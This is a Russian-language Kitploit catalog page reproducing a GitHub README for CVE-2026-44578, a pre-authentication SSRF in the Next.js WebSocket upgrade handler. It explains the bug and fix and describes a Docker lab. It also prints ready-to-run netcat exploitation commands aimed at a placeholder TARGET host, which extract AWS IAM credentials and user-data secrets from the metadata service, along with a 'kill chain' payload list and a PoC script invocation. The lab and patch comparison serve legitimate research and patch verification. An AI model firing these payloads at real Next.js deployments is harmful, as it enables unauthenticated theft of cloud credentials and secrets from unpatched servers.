Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-44578 — CVE-2026-44578: SSRF при обновлении WebSocket в Next.js — кража учетных данных до аутентификации через localhost:80. Лабораторная работа + эксплойт + аудит. | Kitploit
Инструменты/GitHubGitHub/dinosn/cve-2026-44578
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийБезопасность облачных средОбучение и ОбразованиеЛаборатории и Практика
GitHubdinosn/cve-2026-44578

CVE-2026-44578

CVE-2026-44578: SSRF при обновлении WebSocket в Next.js — кража учетных данных до аутентификации через localhost:80. Лабораторная работа + эксплойт + аудит.

Репозиторий
92144 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-44578 — SSRF через обновление WebSocket в Next.js

Подделка серверного запроса (SSRF) до аутентификации в самостоятельно размещённых развёртываниях Next.js.
Один специально сформированный HTTP-запрос извлекает учётные данные AWS, секреты и данные внутренних сервисов с localhost:80.

ПолеЗначение
CVECVE-2026-44578
GHSAGHSA-c4j6-fc7j-m34r
CVSS 3.18.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
ТипSSRF (CWE-918)
Затронутые версииNext.js 13.4.13 – 15.5.15, 16.0.0 – 16.2.4 (только самостоятельное размещение)
Исправлено в15.5.16, 16.2.5
Требуется аутентификацияНет
Взаимодействие пользователяНет

Уязвимость

Обработчик обновления WebSocket в router-server.ts вызывает proxyRequest() всякий раз, когда parsedUrl.protocol истинно — без проверки флагов завершения маршрутизации finished и statusCode, которые всегда применялись в HTTP-обработчике.

// router-server.ts — upgrade handler
- if (parsedUrl.protocol) {
-   return await proxyRequest(req, socket, parsedUrl, head)

// fix (commit c4f69086)
+ if (finished && parsedUrl.protocol) {
+   if (!statusCode) {
+     return await proxyRequest(req, socket, parsedUrl, head)
+   }
+   return socket.end()
  }

После того как normalizeRepeatedSlashes сворачивает http:/// в http:/, имя хоста становится null, и http-proxy подключается к localhost:80 с правильным путём. Любой совместно размещённый сервис (облачные метаданные, панели администратора, внутренние API) становится доступен.


Команда эксплуатации

printf "GET http:///latest/meta-data/iam/security-credentials/ROLE HTTP/1.1\r\n\
Host: TARGET:3000\r\n\
Connection: Upgrade\r\n\
Upgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\n\
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 TARGET 3000

curl не может отправлять URI в абсолютной форме. Используйте сырой TCP: nc, ncat, socat или сокеты Python.


Как это работает

Attacker                     Next.js (vuln)              localhost:80 (IMDS/service)
   |                              |                              |
   | GET http:///latest/meta-data/|                              |
   | Connection: Upgrade          |                              |
   | Upgrade: websocket           |                              |
   |----------------------------->|                              |
   |                              | url.parse -> protocol:'http' |
   |                              | "///" matches regex          |
   |                              | normalizeRepeatedSlashes     |
   |                              |   "http:///" -> "http:/"     |
   |                              | Returns: finished:true       |
   |                              |   statusCode:308             |
   |                              |   hostname:null              |
   |                              |                              |
   |                              | BUG: only checks protocol   |
   |                              | proxyRequest -> localhost:80 |
   |                              |   GET /latest/meta-data/     |
   |                              |----------------------------->|
   |                              |     200 OK + credentials     |
   |                              |<-----------------------------|
   |    200 OK + credentials      |                              |
   |<-----------------------------|                              |

Воспроизведение в лабораторных условиях

Предварительные требования

  • Docker + Docker Compose
  • Python 3.10+
  • nc (netcat)

Настройка

git clone https://github.com/dinosn/CVE-2026-44578.git
cd CVE-2026-44578/lab
./setup.sh

Это запускает 5 контейнеров:

КонтейнерРольОткрытый порт
nextjs-vulnNext.js 15.5.15 (уязвимый)localhost:3000
nextjs-fixedNext.js 15.5.16 (исправленный)localhost:3001
imds-sidecar-vulnФальшивый AWS IMDSv1, разделяющий сеть с уязвимымlocalhost:80 (с точки зрения уязвимого)
imds-sidecar-fixedФальшивый AWS IMDSv1, разделяющий сеть с исправленнымlocalhost:80 (с точки зрения исправленного)
internal-apiМакет внутреннего сервиса—

Боковые контейнеры IMDS используют network_mode: "service:nextjs-*", поэтому фальшивый сервис метаданных находится на localhost:80 внутри контейнера Next.js — моделируя реальный облачный экземпляр.

Запуск эксплойта

# Полный набор тестов (7 SSRF-зондов)
python3 ../exploit/poc.py -t http://localhost:3000 --test-all

# Извлечение единичных учётных данных
printf "GET http:///latest/meta-data/iam/security-credentials/NextjsAppRole HTTP/1.1\r\n\
Host: 127.0.0.1:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\n\
Sec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" \
| nc -w 5 127.0.0.1 3000

# Подтверждение, что исправленный экземпляр блокирует запрос
python3 ../exploit/poc.py -t http://localhost:3001 --test-all

Завершение работы

./teardown.sh

Доказательства

1. Запуск лаборатории

Все контейнеры запущены — уязвимая версия (15.5.15) на :3000, исправленная (15.5.16) на :3001, боковые контейнеры IMDS разделяют пространства имён сети.

Lab Running

2. SSRF — Перечисление метаданных AWS

Один запрос возвращает полный каталог метаданных EC2 (ami-id, instance-id, iam/, placement/ и т.д.)

Metadata Listing

3. SSRF — Извлечение учётных данных IAM

Полный набор учётных данных IAM: AccessKeyId, SecretAccessKey, Token и Expiration.

IAM Credentials

4. SSRF — Секреты пользовательских данных

Сценарий начальной загрузки пользовательских данных EC2, содержащий DB_PASSWORD и API_KEY.

User-Data Secrets

5. SSRF — Идентификатор экземпляра

Идентификатор экземпляра, извлечённый через тот же SSRF-вектор.

Instance ID

6. Исправленный экземпляр — заблокирован

Тот же пейлоад против Next.js 15.5.16. Соединение закрыто немедленно — данные не возвращены.

Patched Blocked

7. Логи IMDS — доказательство выполнения на стороне сервера

Логи фальшивого IMDS показывают GET-запросы, поступающие с 127.0.0.1 (процесс Next.js), что доказывает, что SSRF выполняется на стороне сервера.

IMDS Logs

8. Полный набор PoC — уязвимый (7/7 подтверждено)

Все 7 SSRF-тестов возвращают конфиденциальные данные на уязвимом экземпляре.

Full Suite Vuln

9. Полный набор PoC — исправленный (0/7 заблокировано)

Все 7 тестов заблокированы на исправленном экземпляре. Исправление подтверждено.

Full Suite Patched


Пейлоады kill chain

# 1. Список категорий метаданных
printf "GET http:///latest/meta-data/ HTTP/1.1\r\nHost: T:3000\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Version: 13\r\nSec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==\r\n\r\n" | nc -w 5 T 3000
Скачать инструмент